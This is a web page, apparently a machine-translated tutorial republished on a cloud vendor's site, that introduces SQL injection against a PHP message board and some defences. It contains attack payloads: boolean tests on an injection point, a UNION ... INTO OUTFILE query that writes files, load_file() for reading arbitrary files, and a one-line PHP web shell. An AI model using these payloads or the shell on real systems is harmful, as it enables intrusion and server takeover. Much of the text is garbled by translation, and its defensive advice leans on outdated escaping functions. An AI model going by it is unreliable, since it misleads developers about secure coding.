PHP vulnerability SQL injection attack simple introduction

Source: Internet
Author: User
Tags commit mysql functions mysql query sql injection sql injection attack


General steps for SQL injection attacks:

1, the attacker to access the site with SQL injection vulnerabilities, looking for injection point

2, the attacker constructs the injection statement, the injection statement and the SQL statement in the program combine to generate the new SQL statement

3. New SQL statements are committed to the database to perform processing

4. The database executes a new SQL statement that throws a SQL injection attack

Instance

Database

CREATE TABLE ' PostMessage ' (

' id ' int (one) not NULL auto_increment,

' Subject ' varchar not NULL default ',

' Name ' varchar ' not NULL default ',

' Email ' varchar not NULL default ',

' Question ' Mediumtext not NULL,

' Postdate ' datetime not NULL default ' 0000-00-00 00:00:00′,

PRIMARY KEY (' id ')

) Engine=myisam DEFAULT charset=gb2312 comment= ' user's message ' auto_increment=69;

Grant all privileges in ch3.* to ' sectop ' @localhost identified by ' 123456′;

add.php Insert Message

list.php message list

show.php Display Message

Page/show.php?id=71 There may be an injection point, we'll test

/show.php?id=71 and 1=1

Back to Page


Once a query to the record, not once, let's look at the source

show.php 12-15 Lines

Execute MySQL Query statement

$query = "SELECT * from postmessage where id =". $_get["id"];

$result = mysql_query ($query)

Or Die ("Execute Ysql query statement failed:". Mysql_error ());

After the parameter ID is passed in, the SQL statement combined with the preceding string is put into the database to execute the query

Commit and 1=1, the statement becomes a select * from postmessage where id = the 1=1 of the statement before the value is true, and also true, returns the queried data

Commit and 1=2, the statement becomes a select * from postmessage where id = 1=2 The statement is true before the value is false, and later is false, no data is queried

The normal SQL query, after our constructed statement, forms a SQL injection attack. Through this injection point, we can further get permission, such as using union to read the admin password, read the database information, or use the MySQL load_file,into outfile and other functions to further penetrate.

Anti-SQL injection method

$id = Intval ($_get[' id '));

Of course, there are other variable types, and if necessary, try to force the format.


Character type parameter:

Use the Addslashes function to convert the single quotation mark "'" To "", "double quote" "" "", "" "" "," "" "", "" "" "," "" ""

Function prototypes

String addslashes (String str)

STR is the string to check

So the code leak that just appeared, we can fix this

Execute MySQL Query statement

$query = "SELECT * from postmessage where id =". Intval ($_get["id"]);

$result = mysql_query ($query)

Or Die ("Execute Ysql query statement failed:". Mysql_error ());

If it is a character type, first determine MAGIC_QUOTES_GPC can not be on, when not on the use of Addslashes escape special characters

The code is as follows Copy Code

if (GET_MAGIC_QUOTES_GPC ())

{

$var = $_get["var"];

}

Else

{

$var = Addslashes ($_get["var"]);

}

]


Include variable quotes in SQL statements

SQL code:

The code is as follows Copy Code

SELECT * FROM article WHERE ArticleID = ' $id '

SELECT * FROM article WHERE ArticleID = $id

Both types of writing are common in a variety of programs, but security is different, the first sentence because the variable $id placed in a pair of single quotes, so that we have submitted variables into a string, even if the correct SQL statements, and will not execute normally, and the second sentence is different, because the variable is not placed in single quotes, All we have to submit, as long as there is a space, that the space after the variable will be executed as an SQL statement, so we have to make the SQL statements in the habit of quoting variables.

3. URL pseudo-Static

URL pseudo-static is also URL rewrite technology, like discuz! The same, all URLs are rewrite into a similar xxx-xxx-x.html format, which is conducive to SEO, but also to achieve a certain degree of security, but also a good way. But want to implement PHP to prevent SQL injection, if you have to have a certain "regular" basis.

4. Filter and escape with PHP function

One of the more important aspects of PHP's SQL injection is the setup of GPC because the version below MYSQL4 does not support the Sub statement, and when the MAGIC_QUOTES_GPC in PHP.ini is on, all the "'" (single quotes), "" "(double quotes)," "(backslashes) and null characters are automatically converted to escape characters that contain backslashes, which can be a hindrance to SQL injection.

5. Use PHP to filter and escape MySQL functions

PHP's MySQL operation functions include addslashes (), mysql_real_escape_string (), mysql_escape_string (), and so on, to escape special characters or characters that may cause errors in database operations.

So what's the difference between these three functional functions? Let's go into the details below:

The problem with ①addslashes is that hackers can use 0xbf27 instead of single quotes, and addslashes simply modifies 0xbf27 to 0xbf5c27, which is called a valid multi-byte character, where 0xbf5c is still considered single quotes, So addslashes cannot successfully intercept.

Of course, addslashes is also not useless, it is used for single-byte string processing, multibyte characters or use mysql_real_escape_string bar.

Also for examples of GET_MAGIC_QUOTES_GPC in the PHP manual:

The code is as follows Copy Code

if (!GET_MAGIC_QUOTES_GPC ()) {$lastname = Addslashes ($_post[' LastName ']); else{$lastname = $_post[' LastName '];}


It is best to check the $_post[' LastName ' If the MAGIC_QUOTES_GPC has been opened.

Again, the difference between the 2 functions of mysql_real_escape_string and mysql_escape_string:

The code is as follows Copy Code
function Daddslashes ($string, $force = 0, $strip = FALSE) {   
if (! MAGIC_QUOTES_GPC | | $force) {       
if (Is_array ($string)) {           
 foreach ($string as $key => $val) {                
  $string [$key] = Daddslashes ($val, $force, $strip);          
  }      
 } else
  {           
  $string = Addslashes ($strip? Stripslashes ($string): $string);       
 }    
 }   
  return $string
 }

Command 1-write arbitrary files

MySQL has a built-in command that can be used to create and write system files. The format of this command is as follows:

The code is as follows Copy Code

mysq> Select "Text" Into OutFile "file.txt"

A big disadvantage of this command is that it can be appended to an existing query using the Union's SQL token.

For example, it can be attached to the following query:

The code is as follows Copy Code

Select User, password from user where user= "admin" and password= ' 123 '
Results query:

Select User, password from user where user= "admin" and password= ' 123 ' union select "Text", 2 into OutFile "/tmp/file.txt"- - '

As a result of the above command, the/tmp/file.txt file will be created, including the query results.
Command 2-Read any file
MySQL has a built-in command that can be used to read arbitrary files. Its syntax is very simple. B. We will use this B command plan.

The code is as follows Copy Code

Mysql> Select Load_file ("Path_to_file");

Web Shell

Webshell is polpular and widely used to execute tools from a shell command in a Web browser. Some people call these tools PHP shells. We will create a very simple webshell that will execute the shell command.

The following is the code that executes a very basic shell of PHP which is to be (parameter via California):

  code is as follows copy code

System ($_request[' cmd ']);

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.